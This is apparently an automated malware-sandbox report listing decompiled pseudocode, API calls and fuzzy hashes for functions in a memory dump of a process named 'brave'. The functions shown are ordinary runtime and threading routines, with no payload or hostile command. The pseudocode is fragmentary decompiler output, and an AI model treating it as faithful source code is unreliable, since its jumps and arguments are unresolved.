0x7ff755e90665
0x7ff755e9066d
0x7ff755e9066f
0x7ff755e90673
0x7ff755e9067c
0x7ff755e90681
0x7ff755e90683
0x7ff755e9068c
0x7ff755e90692
0x7ff755e9069b
0x7ff755e906aa

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction ID: 9befa30dc484b348c36e576d96f00f20c42089f4d7cdf78beac45c968bc9c778
Opcode Fuzzy Hash: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction Fuzzy Hash: 1B41C92BF0427245FA66BA159A0867751A4EF40BA8FDC4035ED1C4E7C1EF7CB881C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E904E0 Relevance: 7.6, APIs: 5, Instructions: 102
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E904E0(intOrPtr* __rcx) {
				intOrPtr* _t16;

				_t16 =  *((intOrPtr*)(__rcx));
				_t1 = _t16 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x55e90540;
				if (_t16 == 0) goto 0x55e90550;
				 *_t16 = 1;
				if ( *_t16 != 0) goto 0x55e90560;
				if ( *((intOrPtr*)(_t16 + 4)) != 0) goto 0x55e90520;
				return 0;
			}

0x7ff755e904e9
0x7ff755e904ec
0x7ff755e904f5
0x7ff755e904fa
0x7ff755e90503
0x7ff755e90509
0x7ff755e90512
0x7ff755e9051f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF755E90520

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction ID: 40b7d662b41bdbb2c1344e10f216ddb388fec7d6b2fdb77c52d3c73d58cc3af2
Opcode Fuzzy Hash: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction Fuzzy Hash: 34317A26F0512286FB77AB15994977B61A5EF40B99FDD4434EE4C8A280EE3CF881C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E952D0 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF755E952D0(void* __ecx, void* __rax, long long __rdx) {
				void* _t15;
				void* _t18;
				void* _t20;
				signed long long _t25;

				_t18 = __rax;
				_t15 = __ecx;
				r12d = GetLastError();
				E00007FF77FF755E92D40(__ecx, __rdx);
				_t1 = _t18 + 0x68; // 0x68
				_t20 = _t18;
				E00007FF77FF755E98830(_t1, __rdx);
				if ( *((intOrPtr*)(_t20 + 0x48)) - _t15 <= 0) goto 0x55e95340;
				 *((long long*)( *((intOrPtr*)(_t20 + 0x50)) + _t25 * 8)) = __rdx;
				 *((char*)( *((intOrPtr*)(_t20 + 0x58)) + _t25)) = 1;
				E00007FF77FF755E98870(_t1);
				SetLastError(??);
				return 0;
			}

0x7ff755e952d0
0x7ff755e952e0
0x7ff755e952eb
0x7ff755e952ee
0x7ff755e952f3
0x7ff755e952f7
0x7ff755e952fd
0x7ff755e95305
0x7ff755e9530b
0x7ff755e95316
0x7ff755e9531a
0x7ff755e95322
0x7ff755e9533a

APIs

GetLastError.KERNEL32 ref: 00007FF755E952E5

Part of subcall function 00007FF755E92D40: TlsGetValue.KERNEL32 ref: 00007FF755E92DA0

SetLastError.KERNEL32 ref: 00007FF755E95322
realloc.MSVCRT(00000000,?,?,00007FF755E814F6,00007FF755E902FB,000001A882C117F0,00000000,00007FFC2FC93CA0,00007FF755E832FA), ref: 00007FF755E95353
realloc.MSVCRT(00000000,?,?,00007FF755E814F6,00007FF755E902FB,000001A882C117F0,00000000,00007FFC2FC93CA0,00007FF755E832FA), ref: 00007FF755E95367
memset.MSVCRT ref: 00007FF755E9539D

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: ErrorLastrealloc$Valuememset
String ID:
API String ID: 2591390167-0
Opcode ID: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction ID: e40aa8afd7a288bbb62b45ad3f99d9cac503f7da9eace9d90cd75e2680dfb482
Opcode Fuzzy Hash: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction Fuzzy Hash: B221B52AB1566185EB18EF3AA9045BD63A5AF84F98FCC0031DD0D4F395EE3CD885C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E98880 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF755E98898
ReleaseSemaphore.KERNEL32 ref: 00007FF755E988C6
LeaveCriticalSection.KERNEL32 ref: 00007FF755E988D3
LeaveCriticalSection.KERNEL32 ref: 00007FF755E988F3
LeaveCriticalSection.KERNEL32 ref: 00007FF755E98918

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction ID: a844a2ae81275cebeaca48eb8f2edb070dbe957b33d2e8ba8f590eb08219299a
Opcode Fuzzy Hash: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction Fuzzy Hash: 4301F523F1931642EB65AB1ABC956B6D250BF99BB6FC84535CD1D8B350ED3C98C2C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99EC0 Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E99EC0(void* __rcx) {

				if (__rcx != 0) goto 0x55e99ed8;
				return 0;
			}

0x7ff755e99ecb
0x7ff755e99ed4

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF755E99ED8
OpenProcess.KERNEL32 ref: 00007FF755E99EEF
CloseHandle.KERNEL32 ref: 00007FF755E99EFD

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID:
API String ID: 2750122171-0
Opcode ID: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction ID: a6849577976222f081dbfd6add997a324ddf3e6d85bf151736000f063ae13512
Opcode Fuzzy Hash: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction Fuzzy Hash: 4EF05425E1D61386FF247F71685417A91E09F44B5AF9C1938C51E8E2D4FE2C74C48230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8EB03 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF77FF755E8EB03() {
				signed int _t8;
				void* _t12;
				void* _t17;
				signed int** _t20;

				asm("stc");
				 *((intOrPtr*)(_t17 + 0x41909090)) =  *((intOrPtr*)(_t17 + 0x41909090)) + _t12;
				_t8 =  *( *_t20);
				if ((_t8 & 0x20ffffff) == 0x20474343) goto 0x55e8ebf0;
				if (_t8 - 0xc0000096 > 0) goto 0x55e8ebd7;
				if (_t8 - 0xc000008b <= 0) goto 0x55e8eb88;
				if (_t8 + 0x3fffff73 - 9 > 0) goto 0x55e8eb78;
				goto __rax;
			}

0x7ff755e8eb03
0x7ff755e8eb0b
0x7ff755e8eb19
0x7ff755e8eb2c
0x7ff755e8eb37
0x7ff755e8eb42
0x7ff755e8eb4c
0x7ff755e8eb5c

APIs

signal.MSVCRT ref: 00007FF755E8EBAA

Strings

CCG , xrefs: 00007FF755E8EB26

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction ID: eee453ccda102179fac617b93ba504c30364bda760ec7623a22907164995f631
Opcode Fuzzy Hash: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction Fuzzy Hash: ED21D819F085E202FA7972788A5137991429F86B6CFDC4B36C52F8E7E5DE1CE8854331

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E93D00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF755E93D00(void* __edi, long long __rcx, void* __rdx, void* _a8, long long _a32, long long _a40, intOrPtr _a96) {
				intOrPtr _t9;
				long _t13;
				void* _t14;
				intOrPtr _t17;
				intOrPtr* _t22;
				long long _t24;

				_t9 =  *0x561413e0; // 0x0
				_a8 = __rcx;
				if (_t9 == 0) goto 0x55e93d9c;
				_t22 = _a8;
				if (_t22 != 0) goto 0x55e93d50;
				r8d = GetCurrentThreadId();
				_pop(_t24);
				goto 0x55ea1680;
				asm("o16 nop [eax+eax]");
				E00007FF77FF755E93190(__edi, _a96);
				E00007FF77FF755E93190(__edi, _a96);
				_t17 =  *_t22;
				_t13 = GetCurrentThreadId();
				_t14 = E00007FF77FF755E93190(_t17, _a96);
				_a40 = _t24;
				r9d = _t17;
				r8d = _t13;
				_a32 =  *((intOrPtr*)(_t22 + 0x28));
				0x55ea1680();
				return _t14;
			}

0x7ff755e93d08
0x7ff755e93d0e
0x7ff755e93d18
0x7ff755e93d1e
0x7ff755e93d26
0x7ff755e93d3a
0x7ff755e93d41
0x7ff755e93d45
0x7ff755e93d4a
0x7ff755e93d55
0x7ff755e93d63
0x7ff755e93d68
0x7ff755e93d6a
0x7ff755e93d77
0x7ff755e93d7c
0x7ff755e93d81
0x7ff755e93d84
0x7ff755e93d87
0x7ff755e93d96
0x7ff755e93da4

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF755E93D28
GetCurrentThreadId.KERNEL32 ref: 00007FF755E93D6A

Strings

T%p %d V=%0X H=%p %s, xrefs: 00007FF755E93D8F
T%p %d %s, xrefs: 00007FF755E93D33

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CurrentThread
String ID: T%p %d %s$T%p %d V=%0X H=%p %s
API String ID: 2882836952-2059990036
Opcode ID: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction ID: 9cfdf49177abcdf3ce5db275ba89b13ce59572f98633d293e0d3fbc587b09018
Opcode Fuzzy Hash: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction Fuzzy Hash: 4801303AB0871581EA11AB16FD144BAA3A5ABC8F95F8C4131DD4D4B764EE3CE841C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F210 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF755E8F24C
calloc.MSVCRT ref: 00007FF755E8F25B

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF755E8F245
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF755E8F23E

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: _assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 615528074-4180103562
Opcode ID: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction ID: 43e00bbbbd36c0c518444bb4d063b36521c2a8d0c677f1d197dac409652d8708
Opcode Fuzzy Hash: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction Fuzzy Hash: 6E01B56AB0865645FB55AB55FD401B9A290AF44FD5FCC9030DD1C4B781EF2CE981C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E1F0 Relevance: 6.3, APIs: 5, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF77FF755E8E1F0(void* __rax, void* __rcx, void* __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				intOrPtr _v48;
				long long _v56;
				long long _v64;
				char _v72;
				void* _t10;
				void* _t14;
				void* _t15;
				intOrPtr* _t28;
				intOrPtr* _t36;

				_t36 = __r8;
				_t28 = __r9;
				if (__rcx == 0) goto 0x55e8e2e0;
				if (__rdx == 0) goto 0x55e8e21b;
				if (__r8 == 0) goto 0x55e8e2e0;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				if (E00007FF77FF755E8D760(_t10, _t15, __rax, __rcx, 0x7ff755e851f0,  &_v72) == 0) goto 0x55e8e320;
				if (_v48 == 0) goto 0x55e8e2c0;
				if (_v72 == 0) goto 0x55e8e33d;
				if (__rdx == 0) goto 0x55e8e310;
				strlen(??);
				if (__rax -  *_t36 >= 0) goto 0x55e8e300;
				_t14 = memcpy(??, ??, ??);
				free(??);
				if (_t28 == 0) goto 0x55e8e2ad;
				 *_t28 = 0;
				return _t14;
			}

0x7ff755e8e1fe
0x7ff755e8e201
0x7ff755e8e207
0x7ff755e8e210
0x7ff755e8e215
0x7ff755e8e227
0x7ff755e8e230
0x7ff755e8e239
0x7ff755e8e242
0x7ff755e8e251
0x7ff755e8e262
0x7ff755e8e26c
0x7ff755e8e275
0x7ff755e8e27e
0x7ff755e8e286
0x7ff755e8e292
0x7ff755e8e29d
0x7ff755e8e2a5
0x7ff755e8e2a7
0x7ff755e8e2bb

APIs

strlen.MSVCRT ref: 00007FF755E8E27E
memcpy.MSVCRT ref: 00007FF755E8E292
free.MSVCRT ref: 00007FF755E8E29D

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction ID: 402b3d883a3a2b03e5ff8cdd31830d85bc097bb6612332512bd8e7d319f440e5
Opcode Fuzzy Hash: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction Fuzzy Hash: 1431842AA09AB241FE657A11E70477BD294BF81F9CFCC5531EE4E0E2C5DF3CA8458620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9D380 Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF755E9D471

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction ID: 46cd412f7fee5ac2efb049adfcec158bf033614fb01d02bb8161905f6f39fb4a
Opcode Fuzzy Hash: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction Fuzzy Hash: DBC1D6ABE1827186E7206A24C30437AA6B1BF44F6CF9D4234DA5D5F7C5CA3DF9418760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9A7D0 Relevance: 6.3, APIs: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF755E9A8C1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction ID: 0eb62918cdb326c818f1923343c9d7d78fa2e4a2e0096bd3fdb87115982e4528
Opcode Fuzzy Hash: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction Fuzzy Hash: 40C1D76AE1826246E7216B24D20637EA6B1BF04F5CFAD4234DE1D5FBC5CA3CEC418761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8D760 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 315
stringCOMMON

Download Yara Rule

C-Code - Quality: 28%

